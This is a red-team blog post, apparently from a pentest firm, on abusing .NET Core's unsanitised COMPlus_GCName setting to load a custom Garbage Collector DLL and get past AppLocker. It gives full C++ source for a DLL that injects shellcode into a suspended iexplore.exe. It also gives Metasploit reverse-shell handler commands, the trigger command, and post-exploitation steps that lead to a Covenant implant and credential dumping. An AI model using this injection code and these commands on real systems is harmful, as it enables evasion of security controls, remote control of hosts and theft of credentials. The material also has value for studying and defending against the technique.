Abusing .NET Core – Evasion

The .NET Core was released by Microsoft in 2016 with the aim to succeed .NET Framework. It is an open source product which is shipped with Visual Studio but it can be installed without it. It is known that red teams across the world and threat actors have utilized many of the living off the land binaries that are part of the .NET Framework.

However .NET Core comes with it’s own bug since Paul Laine from Context discovered that it could allow a threat actor to execute arbitrary code in the context of a trusted process for evasion. The technical details of the vulnerability have been released in an article at the Context website. At the moment this affects systems that are used by developers and have the .NET core installed therefore it could be leveraged during a compromised assessment or in red team scenarios. However, the .NET Framework will be replaced by .NET 5 which will be the next release of .NET Core. Therefore it could affect all modern Windows environments if the vulnerability is not addressed.

The .NET Core is installed in the “Program Files” which by default are whitelisted by AppLocker default rules and other solutions.

C:\Program Files\dotnet

Metasploit Framework can be used to capture the connection by configuring the “multi/handler” module.

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LPORT <Local Port>
set LHOST <Local IP Address>
exploit

Paul Laine released in his GitHub repository a minimalist version of a custom .NET Core Garbage Collector as a proof of concept. The “program.cs” file is a simple console application that displays a message on the screen.

using System;

namespace ConsoleApp {
    internal class Program {
        static void Main(string[] args) {
            Console.WriteLine("Pentest Laboratories");
        }
    }
}

This application targets the latest stable version of .NET core (3.1).

Regarding the Garbage Collector DLL the “GC_VersionInfo” function is exported and contains the shellcode.

Five functions are utilized in inside the Custom Garbage Collection DLL file.

  1. CreateProcess
  2. VirtualAllocEx
  3. WriteProcessMemory
  4. VirtualProtectEx
  5. CreateRemoteThread

The “CreateProcess” is used to create a new process on the system with the primary thread of the process to be created in a suspended state. The “VirtualAllocEx” will reserve a region of memory within the virtual address space of the process (iexplore.exe) for the shellcode with read-write access (PAGE_READWRITE). Then the “WriteProcessMemory” function will write the shellcode into the reserved virtual address space and the “VirtualProtectEx” will change the protection of the memory space to read-only (PAGE_EXECUTE_READ). Finally the “CreateRemoteThread” will initiate a new thread into the address space of the process.

The “DLL_PROCESS_ATTACH” is called to load the DLL into the virtual address space of the created process (iexplore.exe).

The full source code of the Garbage Collector DLL file that has been described above is displayed below:

#pragma once
#include <Windows.h>
#include <stdint.h>
#include <stdio.h>

// From coreclr gcinterface.h
struct VersionInfo {
	uint32_t MajorVersion;
	uint32_t MinorVersion;
	uint32_t BuildVersion;
	const char* Name;
};

extern "C" __declspec(dllexport) void GC_VersionInfo(VersionInfo * info) {
	info->MajorVersion = 6;
	info->MinorVersion = 6;
	info->BuildVersion = 6;
	info->Name = "Custom GC";

	unsigned char shellcode[] = "<shellcode>";

	PROCESS_INFORMATION pi = { 0 };
	STARTUPINFO si = { 0 };
	si.cb = sizeof(STARTUPINFO);

	bool bResult = ::CreateProcess(L"C:\\Program Files\\Internet Explorer\\iexplore.exe", NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW | CREATE_SUSPENDED, NULL, NULL, &si, &pi);
	if (!bResult)
		return;
	
	LPVOID lpAddress = ::VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (lpAddress == NULL)
		return;

	SIZE_T NumberOfBytesWritten = 0;
	bResult = ::WriteProcessMemory(pi.hProcess, lpAddress, shellcode, sizeof(shellcode), &NumberOfBytesWritten);
	if (!bResult || NumberOfBytesWritten != sizeof(shellcode)) {
		::TerminateProcess(pi.hProcess, 0);
		return;
	}

	DWORD dwOldProtect = 0;
	bResult = ::VirtualProtectEx(pi.hProcess, lpAddress, sizeof(shellcode), PAGE_EXECUTE_READ, &dwOldProtect);
	if (!bResult || dwOldProtect != 0x0004) {
		::TerminateProcess(pi.hProcess, 0);
		return;
	}

	DWORD dwThreadId = 0;
	::CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpAddress, NULL, 0, &dwThreadId);
	return;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
	switch (dwReason) {
	case DLL_PROCESS_ATTACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}

	return TRUE;
}

Executing the following command will set the path of the Garbage Collector DLL that will load during the runtime of the application. This can be any location on the disk therefore non-administrative rights are needed. The vulnerability discovered by Paul Laine exists because there is no sanitization in the “COMPlus_GCName” argument therefore custom Garbage Collector DLL’s could be loaded from locations that doesn’t require elevated privileges.

set COMPlus_GCName=..\..\..\..\..\..\..\..\tmp\CustomGC.dll
ConsoleApp.exe

A connection will established back to the host that Metasploit is running. The process in this scenario has a PID of 3608.

Alternatively executing the dotnet.exe binary will have the same effect.

dotnet.exe --version

Observing the list of processes on the target host will identify that this PID corresponds to the “iexplore.exe” process.

The existing Meterpreter connection can be converted trivially to a command and control (C2) that will offer support for in-memory execution of .NET assemblies. Metasploit Framework contains a module which allows execution of .NET assemblies similar to “execute-assembly” of Cobalt Strike.

use post/windows/manage/execute_dotnet_assembly
set ARGUMENTS <command>
set DOTNET_EXE <Assembly-Path>
set SESSION 2
run

A new implant will appear in Covenant that will validate that the assembly has been successfully executed.

A threat actor could then perform several activities on the system such as retrieving plain-text credentials from LSA (Local Security Authority) secrets, dumping credentials from memory, establish persistence or attempt to move laterally in the network by using the current or any other credentials gathered during this stage.

Covenant supports multiple tasks that could be executed. The following image displays that a password with the value “Password123” has been discovered which can be used to access other systems in the network.

The following diagram represents the commands used to exploit the directory path traversal vulnerability in the .NET Core in order to establish a connection with a command and control framework.

YouTube

VideoPress

If you are interested to learn more about how Pentest Laboratories and our custom cyber attack scenarios can improve your organisation readiness against cyber threats please contact us.